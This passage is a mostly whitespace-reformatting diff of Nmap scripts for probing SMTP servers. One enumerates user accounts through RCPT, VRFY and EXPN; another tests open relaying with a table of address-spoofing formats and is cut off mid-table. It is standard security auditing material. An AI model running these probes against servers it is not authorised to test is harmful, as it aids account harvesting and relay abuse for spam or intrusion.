response = string.gsub(response, "\n\r", "\n") -- normalize LF CR
|
response = string.gsub(response, "\n\r", "\n") -- normalize LF CR
|
||||||
response = string.gsub(response, "^\n+(.-)\n+$", "%1")
|
response = string.gsub(response, "^\n+(.-)\n+$", "%1")
|
||||||
response = string.gsub(response, "\n", ", ") -- LF to comma
|
response = string.gsub(response, "\n", ", ") -- LF to comma
|
||||||
|
response = string.gsub(response, "%s+", " ") -- get rid of extra spaces
|
||||||
|
table.insert(result,response)
|
||||||
|
|
||||||
|
status, response = smtp.help(socket)
|
||||||
|
if status then
|
||||||
|
response = string.gsub(response, "214[%-%s]+", "") -- 214
|
||||||
|
response = string.gsub(response, "^%s+(.-)%s+$", "%1")
|
||||||
response = string.gsub(response, "%s+", " ") -- get rid of extra spaces
|
response = string.gsub(response, "%s+", " ") -- get rid of extra spaces
|
||||||
table.insert(result,response)
|
table.insert(result,response)
|
||||||
|
smtp.quit(socket)
|
||||||
|
end
|
||||||
|
|
||||||
status, response = smtp.help(socket)
|
return true, result
|
||||||
if status then
|
|
||||||
response = string.gsub(response, "214[%-%s]+", "") -- 214
|
|
||||||
response = string.gsub(response, "^%s+(.-)%s+$", "%1")
|
|
||||||
response = string.gsub(response, "%s+", " ") -- get rid of extra spaces
|
|
||||||
table.insert(result,response)
|
|
||||||
smtp.quit(socket)
|
|
||||||
end
|
|
||||||
|
|
||||||
return true, result
|
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, result = go(host, port)
|
local status, result = go(host, port)
|
||||||
|
|
||||||
-- The go function returned false, this means that the result is a simple error message.
|
-- The go function returned false, this means that the result is a simple error message.
|
||||||
if not status then
|
if not status then
|
||||||
return result
|
return result
|
||||||
else
|
else
|
||||||
if #result > 0 then
|
if #result > 0 then
|
||||||
local final = {}
|
local final = {}
|
||||||
for index, test in ipairs(result) do
|
for index, test in ipairs(result) do
|
||||||
table.insert(final, test)
|
table.insert(final, test)
|
||||||
end
|
end
|
||||||
return stdnse.strjoin("\n ", final)
|
return stdnse.strjoin("\n ", final)
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -54,14 +54,14 @@ categories = {"auth","external","intrusive"}
|
|||||||
|
|
||||||
|
|
||||||
portrule = shortport.port_or_service({ 25, 465, 587 },
|
portrule = shortport.port_or_service({ 25, 465, 587 },
|
||||||
{ "smtp", "smtps", "submission" })
|
{ "smtp", "smtps", "submission" })
|
||||||
|
|
||||||
STATUS_CODES = {
|
STATUS_CODES = {
|
||||||
ERROR = 1,
|
ERROR = 1,
|
||||||
NOTPERMITTED = 2,
|
NOTPERMITTED = 2,
|
||||||
VALID = 3,
|
VALID = 3,
|
||||||
INVALID = 4,
|
INVALID = 4,
|
||||||
UNKNOWN = 5
|
UNKNOWN = 5
|
||||||
}
|
}
|
||||||
|
|
||||||
---Counts the number of occurrences in a table. Helper function
|
---Counts the number of occurrences in a table. Helper function
|
||||||
@@ -71,14 +71,14 @@ STATUS_CODES = {
|
|||||||
-- @param what What element to count
|
-- @param what What element to count
|
||||||
-- @return Number of occurrences
|
-- @return Number of occurrences
|
||||||
function table_count(from, what)
|
function table_count(from, what)
|
||||||
local result = 0
|
local result = 0
|
||||||
|
|
||||||
for index, item in ipairs(from) do
|
for index, item in ipairs(from) do
|
||||||
if item == what then
|
if item == what then
|
||||||
result = result + 1
|
result = result + 1
|
||||||
end
|
|
||||||
end
|
end
|
||||||
return result
|
end
|
||||||
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
---Creates a new table from a source without the duplicates. Helper
|
---Creates a new table from a source without the duplicates. Helper
|
||||||
@@ -87,15 +87,15 @@ end
|
|||||||
-- @param from Source table
|
-- @param from Source table
|
||||||
-- @return New table without the duplicates
|
-- @return New table without the duplicates
|
||||||
function table_unique(from)
|
function table_unique(from)
|
||||||
local result = {}
|
local result = {}
|
||||||
|
|
||||||
for index, item in ipairs(from) do
|
for index, item in ipairs(from) do
|
||||||
if (table_count(result, item) == 0) then
|
if (table_count(result, item) == 0) then
|
||||||
result[#result + 1] = item
|
result[#result + 1] = item
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
---Get the method or methods to be used. If the user didn't specify any
|
---Get the method or methods to be used. If the user didn't specify any
|
||||||
@@ -103,32 +103,32 @@ end
|
|||||||
--
|
--
|
||||||
-- @return A table containing the methods to try
|
-- @return A table containing the methods to try
|
||||||
function get_method()
|
function get_method()
|
||||||
local result = {}
|
local result = {}
|
||||||
|
|
||||||
local methods = stdnse.get_script_args('smtp-enum-users.methods')
|
local methods = stdnse.get_script_args('smtp-enum-users.methods')
|
||||||
if methods and type(methods) == "table" then
|
if methods and type(methods) == "table" then
|
||||||
-- For each method specified.
|
-- For each method specified.
|
||||||
for _, method in ipairs(methods) do
|
for _, method in ipairs(methods) do
|
||||||
-- Are the elements of the argument valid methods.
|
-- Are the elements of the argument valid methods.
|
||||||
local upper = string.upper(method)
|
local upper = string.upper(method)
|
||||||
|
|
||||||
if (upper == "RCPT") or (upper == "EXPN") or
|
if (upper == "RCPT") or (upper == "EXPN") or
|
||||||
(upper == "VRFY") then
|
(upper == "VRFY") then
|
||||||
table.insert(result, upper)
|
table.insert(result, upper)
|
||||||
else
|
else
|
||||||
return false, method
|
return false, method
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
-- The methods weren't specified.
|
-- The methods weren't specified.
|
||||||
if #result == 0 then
|
if #result == 0 then
|
||||||
result = { "RCPT", "VRFY", "EXPN" }
|
result = { "RCPT", "VRFY", "EXPN" }
|
||||||
else
|
else
|
||||||
result = table_unique(result)
|
result = table_unique(result)
|
||||||
end
|
end
|
||||||
|
|
||||||
return true, result
|
return true, result
|
||||||
end
|
end
|
||||||
|
|
||||||
---Generic function to perform user discovery.
|
---Generic function to perform user discovery.
|
||||||
@@ -139,44 +139,44 @@ end
|
|||||||
-- @param domain Domain to use in the command
|
-- @param domain Domain to use in the command
|
||||||
-- @return Status and depending on the code, a error message
|
-- @return Status and depending on the code, a error message
|
||||||
function do_gnrc(socket, command, username, domain)
|
function do_gnrc(socket, command, username, domain)
|
||||||
local combinations = {
|
local combinations = {
|
||||||
string.format("%s", username),
|
string.format("%s", username),
|
||||||
string.format("%s@%s", username, domain)
|
string.format("%s@%s", username, domain)
|
||||||
}
|
}
|
||||||
|
|
||||||
for index, combination in ipairs(combinations) do
|
for index, combination in ipairs(combinations) do
|
||||||
-- Lets try to issue the command.
|
-- Lets try to issue the command.
|
||||||
local status, response = smtp.query(socket, command, combination)
|
local status, response = smtp.query(socket, command, combination)
|
||||||
|
|
||||||
-- If this command fails to be sent, then something
|
-- If this command fails to be sent, then something
|
||||||
-- went wrong with the connection.
|
-- went wrong with the connection.
|
||||||
if not status then
|
if not status then
|
||||||
return STATUS_CODES.ERROR,
|
return STATUS_CODES.ERROR,
|
||||||
string.format("Failed to issue %s %s command (%s)\n",
|
string.format("Failed to issue %s %s command (%s)\n",
|
||||||
command, combination, response)
|
command, combination, response)
|
||||||
end
|
|
||||||
|
|
||||||
if string.match(response, "^530") then
|
|
||||||
-- If the command failed, check if authentication is
|
|
||||||
-- needed because all the other attempts will fail.
|
|
||||||
return STATUS_CODES.AUTHENTICATION
|
|
||||||
elseif string.match(response, "^502") or
|
|
||||||
string.match(response, "^252") or
|
|
||||||
string.match(response, "^550") then
|
|
||||||
-- The server doesn't implement the command or it is disallowed.
|
|
||||||
return STATUS_CODES.NOTPERMITTED
|
|
||||||
elseif smtp.check_reply(command, response) then
|
|
||||||
-- User accepted.
|
|
||||||
if nmap.verbosity() > 1 then
|
|
||||||
return STATUS_CODES.VALID,
|
|
||||||
string.format("%s, %s", command, username)
|
|
||||||
else
|
|
||||||
return STATUS_CODES.VALID, username
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
return STATUS_CODES.INVALID
|
if string.match(response, "^530") then
|
||||||
|
-- If the command failed, check if authentication is
|
||||||
|
-- needed because all the other attempts will fail.
|
||||||
|
return STATUS_CODES.AUTHENTICATION
|
||||||
|
elseif string.match(response, "^502") or
|
||||||
|
string.match(response, "^252") or
|
||||||
|
string.match(response, "^550") then
|
||||||
|
-- The server doesn't implement the command or it is disallowed.
|
||||||
|
return STATUS_CODES.NOTPERMITTED
|
||||||
|
elseif smtp.check_reply(command, response) then
|
||||||
|
-- User accepted.
|
||||||
|
if nmap.verbosity() > 1 then
|
||||||
|
return STATUS_CODES.VALID,
|
||||||
|
string.format("%s, %s", command, username)
|
||||||
|
else
|
||||||
|
return STATUS_CODES.VALID, username
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return STATUS_CODES.INVALID
|
||||||
end
|
end
|
||||||
|
|
||||||
---Verify if a username is valid using the EXPN command (wrapper
|
---Verify if a username is valid using the EXPN command (wrapper
|
||||||
@@ -187,7 +187,7 @@ end
|
|||||||
-- @param domain Domain to use in the command
|
-- @param domain Domain to use in the command
|
||||||
-- @return Status and depending on the code, a error message
|
-- @return Status and depending on the code, a error message
|
||||||
function do_expn(socket, username, domain)
|
function do_expn(socket, username, domain)
|
||||||
return do_gnrc(socket, "EXPN", username, domain)
|
return do_gnrc(socket, "EXPN", username, domain)
|
||||||
end
|
end
|
||||||
|
|
||||||
---Verify if a username is valid using the VRFY command (wrapper
|
---Verify if a username is valid using the VRFY command (wrapper
|
||||||
@@ -198,7 +198,7 @@ end
|
|||||||
-- @param domain Domain to use in the command
|
-- @param domain Domain to use in the command
|
||||||
-- @return Status and depending on the code, a error message
|
-- @return Status and depending on the code, a error message
|
||||||
function do_vrfy(socket, username, domain)
|
function do_vrfy(socket, username, domain)
|
||||||
return do_gnrc(socket, "VRFY", username, domain)
|
return do_gnrc(socket, "VRFY", username, domain)
|
||||||
end
|
end
|
||||||
|
|
||||||
issued_from = false
|
issued_from = false
|
||||||
@@ -214,59 +214,59 @@ issued_from = false
|
|||||||
-- @param domain Domain to use in the command
|
-- @param domain Domain to use in the command
|
||||||
-- @return Status and depending on the code, a error message
|
-- @return Status and depending on the code, a error message
|
||||||
function do_rcpt(socket, username, domain)
|
function do_rcpt(socket, username, domain)
|
||||||
local status, response
|
local status, response
|
||||||
if not issued_from then
|
if not issued_from then
|
||||||
-- Lets try to issue MAIL FROM command.
|
-- Lets try to issue MAIL FROM command.
|
||||||
status, response = smtp.query(socket, "MAIL",
|
status, response = smtp.query(socket, "MAIL",
|
||||||
string.format("FROM:<usertest@%s>", domain))
|
string.format("FROM:<usertest@%s>", domain))
|
||||||
|
|
||||||
if not status then
|
if not status then
|
||||||
-- If this command fails to be sent, then something went wrong
|
-- If this command fails to be sent, then something went wrong
|
||||||
-- with the connection.
|
-- with the connection.
|
||||||
return STATUS_CODES.ERROR,
|
return STATUS_CODES.ERROR,
|
||||||
string.format("Failed to issue MAIL FROM:<usertest@%s> command (%s)",
|
string.format("Failed to issue MAIL FROM:<usertest@%s> command (%s)",
|
||||||
domain, response)
|
domain, response)
|
||||||
elseif string.match(response, "^530") then
|
|
||||||
-- If the command failed, check if authentication is needed
|
|
||||||
-- because all the other attempts will fail.
|
|
||||||
return STATUS_CODES.ERROR,
|
|
||||||
"Couldn't perform user enumeration, authentication needed"
|
|
||||||
elseif not smtp.check_reply("MAIL", response) then
|
|
||||||
-- Only accept 250 code as success.
|
|
||||||
return STATUS_CODES.NOTPERMITTED,
|
|
||||||
"Server did not accept the MAIL FROM command"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
status, response = smtp.query(socket, "RCPT",
|
|
||||||
string.format("TO:<%s@%s>", username, domain))
|
|
||||||
|
|
||||||
if not status then
|
|
||||||
return STATUS_CODES.ERROR,
|
|
||||||
string.format("Failed to issue RCPT TO:<%s@%s> command (%s)",
|
|
||||||
username, domain, response)
|
|
||||||
elseif string.match(response, "^550") then
|
|
||||||
-- 550 User Unknown
|
|
||||||
return STATUS_CODES.UNKNOWN
|
|
||||||
elseif string.match(response, "^553") then
|
|
||||||
-- 553 Relaying Denied
|
|
||||||
return STATUS_CODES.NOTPERMITTED
|
|
||||||
elseif string.match(response, "^530") then
|
elseif string.match(response, "^530") then
|
||||||
-- If the command failed, check if authentication is needed because
|
-- If the command failed, check if authentication is needed
|
||||||
-- all the other attempts will fail.
|
-- because all the other attempts will fail.
|
||||||
return STATUS_CODES.AUTHENTICATION
|
return STATUS_CODES.ERROR,
|
||||||
elseif smtp.check_reply("RCPT", response) then
|
"Couldn't perform user enumeration, authentication needed"
|
||||||
issued_from = true
|
elseif not smtp.check_reply("MAIL", response) then
|
||||||
-- User is valid.
|
-- Only accept 250 code as success.
|
||||||
if nmap.verbosity() > 1 then
|
return STATUS_CODES.NOTPERMITTED,
|
||||||
return STATUS_CODES.VALID, string.format("RCPT, %s", username)
|
"Server did not accept the MAIL FROM command"
|
||||||
else
|
|
||||||
return STATUS_CODES.VALID, username
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
status, response = smtp.query(socket, "RCPT",
|
||||||
|
string.format("TO:<%s@%s>", username, domain))
|
||||||
|
|
||||||
|
if not status then
|
||||||
|
return STATUS_CODES.ERROR,
|
||||||
|
string.format("Failed to issue RCPT TO:<%s@%s> command (%s)",
|
||||||
|
username, domain, response)
|
||||||
|
elseif string.match(response, "^550") then
|
||||||
|
-- 550 User Unknown
|
||||||
|
return STATUS_CODES.UNKNOWN
|
||||||
|
elseif string.match(response, "^553") then
|
||||||
|
-- 553 Relaying Denied
|
||||||
|
return STATUS_CODES.NOTPERMITTED
|
||||||
|
elseif string.match(response, "^530") then
|
||||||
|
-- If the command failed, check if authentication is needed because
|
||||||
|
-- all the other attempts will fail.
|
||||||
|
return STATUS_CODES.AUTHENTICATION
|
||||||
|
elseif smtp.check_reply("RCPT", response) then
|
||||||
issued_from = true
|
issued_from = true
|
||||||
return STATUS_CODES.INVALID
|
-- User is valid.
|
||||||
|
if nmap.verbosity() > 1 then
|
||||||
|
return STATUS_CODES.VALID, string.format("RCPT, %s", username)
|
||||||
|
else
|
||||||
|
return STATUS_CODES.VALID, username
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
issued_from = true
|
||||||
|
return STATUS_CODES.INVALID
|
||||||
end
|
end
|
||||||
|
|
||||||
---Script function that does all the work.
|
---Script function that does all the work.
|
||||||
@@ -275,108 +275,108 @@ end
|
|||||||
-- @param port Target port
|
-- @param port Target port
|
||||||
-- @return The user accounts or a error message.
|
-- @return The user accounts or a error message.
|
||||||
function go(host, port)
|
function go(host, port)
|
||||||
-- Get the current usernames list from the file.
|
-- Get the current usernames list from the file.
|
||||||
local status, nextuser = unpwdb.usernames()
|
local status, nextuser = unpwdb.usernames()
|
||||||
|
|
||||||
if not status then
|
if not status then
|
||||||
return false, "Failed to read the user names database"
|
return false, "Failed to read the user names database"
|
||||||
|
end
|
||||||
|
|
||||||
|
local options = {
|
||||||
|
timeout = 10000,
|
||||||
|
recv_before = true,
|
||||||
|
ssl = true,
|
||||||
|
}
|
||||||
|
local domain = stdnse.get_script_args('smtp-enum-users.domain') or
|
||||||
|
smtp.get_domain(host)
|
||||||
|
|
||||||
|
local methods
|
||||||
|
status, methods = get_method()
|
||||||
|
|
||||||
|
if not status then
|
||||||
|
return false, string.format("Invalid method found, %s", methods)
|
||||||
|
end
|
||||||
|
|
||||||
|
local socket, response = smtp.connect(host, port, options)
|
||||||
|
|
||||||
|
-- Failed connection attempt.
|
||||||
|
if not socket then
|
||||||
|
return false, string.format("Couldn't establish connection on port %i",
|
||||||
|
port.number)
|
||||||
|
end
|
||||||
|
|
||||||
|
status, response = smtp.ehlo(socket, domain)
|
||||||
|
if not status then
|
||||||
|
return status, response
|
||||||
|
end
|
||||||
|
|
||||||
|
local result = {}
|
||||||
|
|
||||||
|
-- This function is used when something goes wrong with
|
||||||
|
-- the connection. It makes sure that if it found users before
|
||||||
|
-- the error occurred, they will be returned.
|
||||||
|
local failure = function(message)
|
||||||
|
if #result > 0 then
|
||||||
|
table.insert(result, message)
|
||||||
|
return true, result
|
||||||
|
else
|
||||||
|
return false, message
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
-- Get the first user to be tested.
|
||||||
|
local username = nextuser()
|
||||||
|
|
||||||
|
for index, method in ipairs(methods) do
|
||||||
|
while username do
|
||||||
|
if method == "RCPT" then
|
||||||
|
status, response = do_rcpt(socket, username, domain)
|
||||||
|
elseif method == "VRFY" then
|
||||||
|
status, response = do_vrfy(socket, username, domain)
|
||||||
|
elseif method == "EXPN" then
|
||||||
|
status, response = do_expn(socket, username, domain)
|
||||||
|
end
|
||||||
|
|
||||||
|
if status == STATUS_CODES.NOTPERMITTED then
|
||||||
|
-- Invalid method. Don't test anymore users with
|
||||||
|
-- the current method.
|
||||||
|
break
|
||||||
|
elseif status == STATUS_CODES.VALID then
|
||||||
|
-- User found, lets save it.
|
||||||
|
table.insert(result, response)
|
||||||
|
elseif status == STATUS_CODES.ERROR then
|
||||||
|
-- An error occurred with the connection.
|
||||||
|
return failure(response)
|
||||||
|
elseif status == STATUS_CODES.AUTHENTICATION then
|
||||||
|
smtp.quit(socket)
|
||||||
|
return false, "Couldn't perform user enumeration, authentication needed"
|
||||||
|
elseif status == STATUS_CODES.INVALID then
|
||||||
|
table.insert(result,
|
||||||
|
string.format("Method %s returned a unhandled status code.",
|
||||||
|
method))
|
||||||
|
break
|
||||||
|
end
|
||||||
|
username = nextuser()
|
||||||
end
|
end
|
||||||
|
|
||||||
local options = {
|
-- No more users to test, don't test with other methods.
|
||||||
timeout = 10000,
|
if username == nil then
|
||||||
recv_before = true,
|
break
|
||||||
ssl = true,
|
|
||||||
}
|
|
||||||
local domain = stdnse.get_script_args('smtp-enum-users.domain') or
|
|
||||||
smtp.get_domain(host)
|
|
||||||
|
|
||||||
local methods
|
|
||||||
status, methods = get_method()
|
|
||||||
|
|
||||||
if not status then
|
|
||||||
return false, string.format("Invalid method found, %s", methods)
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
local socket, response = smtp.connect(host, port, options)
|
smtp.quit(socket)
|
||||||
|
return true, result
|
||||||
-- Failed connection attempt.
|
|
||||||
if not socket then
|
|
||||||
return false, string.format("Couldn't establish connection on port %i",
|
|
||||||
port.number)
|
|
||||||
end
|
|
||||||
|
|
||||||
status, response = smtp.ehlo(socket, domain)
|
|
||||||
if not status then
|
|
||||||
return status, response
|
|
||||||
end
|
|
||||||
|
|
||||||
local result = {}
|
|
||||||
|
|
||||||
-- This function is used when something goes wrong with
|
|
||||||
-- the connection. It makes sure that if it found users before
|
|
||||||
-- the error occurred, they will be returned.
|
|
||||||
local failure = function(message)
|
|
||||||
if #result > 0 then
|
|
||||||
table.insert(result, message)
|
|
||||||
return true, result
|
|
||||||
else
|
|
||||||
return false, message
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
-- Get the first user to be tested.
|
|
||||||
local username = nextuser()
|
|
||||||
|
|
||||||
for index, method in ipairs(methods) do
|
|
||||||
while username do
|
|
||||||
if method == "RCPT" then
|
|
||||||
status, response = do_rcpt(socket, username, domain)
|
|
||||||
elseif method == "VRFY" then
|
|
||||||
status, response = do_vrfy(socket, username, domain)
|
|
||||||
elseif method == "EXPN" then
|
|
||||||
status, response = do_expn(socket, username, domain)
|
|
||||||
end
|
|
||||||
|
|
||||||
if status == STATUS_CODES.NOTPERMITTED then
|
|
||||||
-- Invalid method. Don't test anymore users with
|
|
||||||
-- the current method.
|
|
||||||
break
|
|
||||||
elseif status == STATUS_CODES.VALID then
|
|
||||||
-- User found, lets save it.
|
|
||||||
table.insert(result, response)
|
|
||||||
elseif status == STATUS_CODES.ERROR then
|
|
||||||
-- An error occurred with the connection.
|
|
||||||
return failure(response)
|
|
||||||
elseif status == STATUS_CODES.AUTHENTICATION then
|
|
||||||
smtp.quit(socket)
|
|
||||||
return false, "Couldn't perform user enumeration, authentication needed"
|
|
||||||
elseif status == STATUS_CODES.INVALID then
|
|
||||||
table.insert(result,
|
|
||||||
string.format("Method %s returned a unhandled status code.",
|
|
||||||
method))
|
|
||||||
break
|
|
||||||
end
|
|
||||||
username = nextuser()
|
|
||||||
end
|
|
||||||
|
|
||||||
-- No more users to test, don't test with other methods.
|
|
||||||
if username == nil then
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
smtp.quit(socket)
|
|
||||||
return true, result
|
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, result = go(host, port)
|
local status, result = go(host, port)
|
||||||
|
|
||||||
-- The go function returned true, lets check if it
|
-- The go function returned true, lets check if it
|
||||||
-- didn't found any accounts.
|
-- didn't found any accounts.
|
||||||
if status and #result == 0 then
|
if status and #result == 0 then
|
||||||
return stdnse.format_output(true, "Couldn't find any accounts")
|
return stdnse.format_output(true, "Couldn't find any accounts")
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -79,210 +79,210 @@ categories = {"discovery","intrusive","external"}
|
|||||||
|
|
||||||
|
|
||||||
portrule = shortport.port_or_service({ 25, 465, 587 },
|
portrule = shortport.port_or_service({ 25, 465, 587 },
|
||||||
{ "smtp", "smtps", "submission" })
|
{ "smtp", "smtps", "submission" })
|
||||||
|
|
||||||
---Gets the user specified parameters to be used in the tests.
|
---Gets the user specified parameters to be used in the tests.
|
||||||
--
|
--
|
||||||
--@param host Target host (used for the ip parameter default value)
|
--@param host Target host (used for the ip parameter default value)
|
||||||
--@return Domain, from, to and ip to be used in the tests
|
--@return Domain, from, to and ip to be used in the tests
|
||||||
function get_parameters(host)
|
function get_parameters(host)
|
||||||
-- call smtp.get_domain() without the host table to use the
|
-- call smtp.get_domain() without the host table to use the
|
||||||
-- 'nmap.scanme.org' host name, we are scanning for open relays.
|
-- 'nmap.scanme.org' host name, we are scanning for open relays.
|
||||||
local domain = stdnse.get_script_args('smtp-open-relay.domain') or
|
local domain = stdnse.get_script_args('smtp-open-relay.domain') or
|
||||||
smtp.get_domain()
|
smtp.get_domain()
|
||||||
|
|
||||||
local from = stdnse.get_script_args('smtp-open-relay.from') or "antispam"
|
local from = stdnse.get_script_args('smtp-open-relay.from') or "antispam"
|
||||||
|
|
||||||
local to = stdnse.get_script_args('smtp-open-relay.to') or "relaytest"
|
local to = stdnse.get_script_args('smtp-open-relay.to') or "relaytest"
|
||||||
|
|
||||||
local ip = stdnse.get_script_args('smtp-open-relay.ip') or host.ip
|
local ip = stdnse.get_script_args('smtp-open-relay.ip') or host.ip
|
||||||
|
|
||||||
return domain, from, to, ip
|
return domain, from, to, ip
|
||||||
end
|
end
|
||||||
|
|
||||||
function go(host, port)
|
function go(host, port)
|
||||||
local options = {
|
local options = {
|
||||||
timeout = 10000,
|
timeout = 10000,
|
||||||
recv_before = true,
|
recv_before = true,
|
||||||
ssl = true,
|
ssl = true,
|
||||||
}
|
}
|
||||||
|
|
||||||
local result, status, index = {}
|
local result, status, index = {}
|
||||||
|
|
||||||
local domain, from, to, ip = get_parameters(host)
|
local domain, from, to, ip = get_parameters(host)
|
||||||
|
|
||||||
local socket, response = smtp.connect(host, port, options)
|
local socket, response = smtp.connect(host, port, options)
|
||||||
if not socket then
|
if not socket then
|
||||||
return false, string.format("Couldn't establish connection on port %i",
|
return false, string.format("Couldn't establish connection on port %i",
|
||||||
port.number)
|
port.number)
|
||||||
|
end
|
||||||
|
|
||||||
|
local srvname = string.match(response, "%d+%s([%w]+[%w%.-]*)")
|
||||||
|
|
||||||
|
local status, response = smtp.ehlo(socket, domain)
|
||||||
|
if not status then
|
||||||
|
return status, response
|
||||||
|
end
|
||||||
|
|
||||||
|
if not srvname then
|
||||||
|
srvname = string.match(response, "%d+%-([%w]+[%w%.-]*)")
|
||||||
|
end
|
||||||
|
|
||||||
|
-- Antispam tests.
|
||||||
|
local tests = {
|
||||||
|
{
|
||||||
|
from = "",
|
||||||
|
to = string.format("%s@%s", to, domain)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@%s", from, domain),
|
||||||
|
to = string.format("%s@%s", to, domain)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@%s", from, srvname),
|
||||||
|
to = string.format("%s@%s", to, domain)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("%s@%s", to, domain)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("%s%%%s@[%s]", to, domain, ip)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("%s%%%s@%s", to, domain, srvname)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("\"%s@%s\"", to, domain)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("\"%s%%%s\"", to, domain)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("%s@%s@[%s]", to, domain, ip)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("\"%s@%s\"@[%s]", to, domain, ip)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("%s@%s@%s", to, domain, srvname)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("@[%s]:%s@%s", ip, to, domain)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("@%s:%s@%s", srvname, to, domain)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("%s!%s", domain, to)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("%s!%s@[%s]", domain, to, ip)
|
||||||
|
},
|
||||||
|
{
|
||||||
|
from = string.format("%s@[%s]", from, ip),
|
||||||
|
to = string.format("%s!%s@%s", domain, to, srvname)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
-- This function is used when something goes wrong with the connection.
|
||||||
|
-- It makes sure that if it found working combinations before the error
|
||||||
|
-- occurred, they will be returned. If the debug flag is enabled the
|
||||||
|
-- error message will be appended to the combinations list.
|
||||||
|
local failure = function(message)
|
||||||
|
if #result > 0 then
|
||||||
|
table.insert(result, message)
|
||||||
|
return true, result
|
||||||
|
else
|
||||||
|
return false, message
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
local srvname = string.match(response, "%d+%s([%w]+[%w%.-]*)")
|
for index = 1, #tests do
|
||||||
|
status, response = smtp.reset(socket)
|
||||||
local status, response = smtp.ehlo(socket, domain)
|
|
||||||
if not status then
|
if not status then
|
||||||
return status, response
|
if string.match(response, "530") then
|
||||||
|
return false, "Server isn't an open relay, authentication needed"
|
||||||
|
end
|
||||||
|
return failure(response)
|
||||||
end
|
end
|
||||||
|
|
||||||
if not srvname then
|
status, response = smtp.query(socket, "MAIL",
|
||||||
srvname = string.match(response, "%d+%-([%w]+[%w%.-]*)")
|
string.format("FROM:<%s>",
|
||||||
|
tests[index]["from"]))
|
||||||
|
-- If this command fails to be sent, then something went
|
||||||
|
-- wrong with the connection.
|
||||||
|
if not status then
|
||||||
|
return failure(string.format("Failed to issue %s command (%s)",
|
||||||
|
tests[index]["from"], response))
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Antispam tests.
|
if string.match(response, "530") then
|
||||||
local tests = {
|
smtp.quit(socket)
|
||||||
{
|
return false, "Server isn't an open relay, authentication needed"
|
||||||
from = "",
|
elseif smtp.check_reply("MAIL", response) then
|
||||||
to = string.format("%s@%s", to, domain)
|
-- Lets try to actually relay.
|
||||||
},
|
status, response = smtp.query(socket, "RCPT",
|
||||||
{
|
string.format("TO:<%s>",
|
||||||
from = string.format("%s@%s", from, domain),
|
tests[index]["to"]))
|
||||||
to = string.format("%s@%s", to, domain)
|
if not status then
|
||||||
},
|
return failure(string.format("Failed to issue %s command (%s)",
|
||||||
{
|
tests[index]["to"], response))
|
||||||
from = string.format("%s@%s", from, srvname),
|
end
|
||||||
to = string.format("%s@%s", to, domain)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("%s@%s", to, domain)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("%s%%%s@[%s]", to, domain, ip)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("%s%%%s@%s", to, domain, srvname)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("\"%s@%s\"", to, domain)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("\"%s%%%s\"", to, domain)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
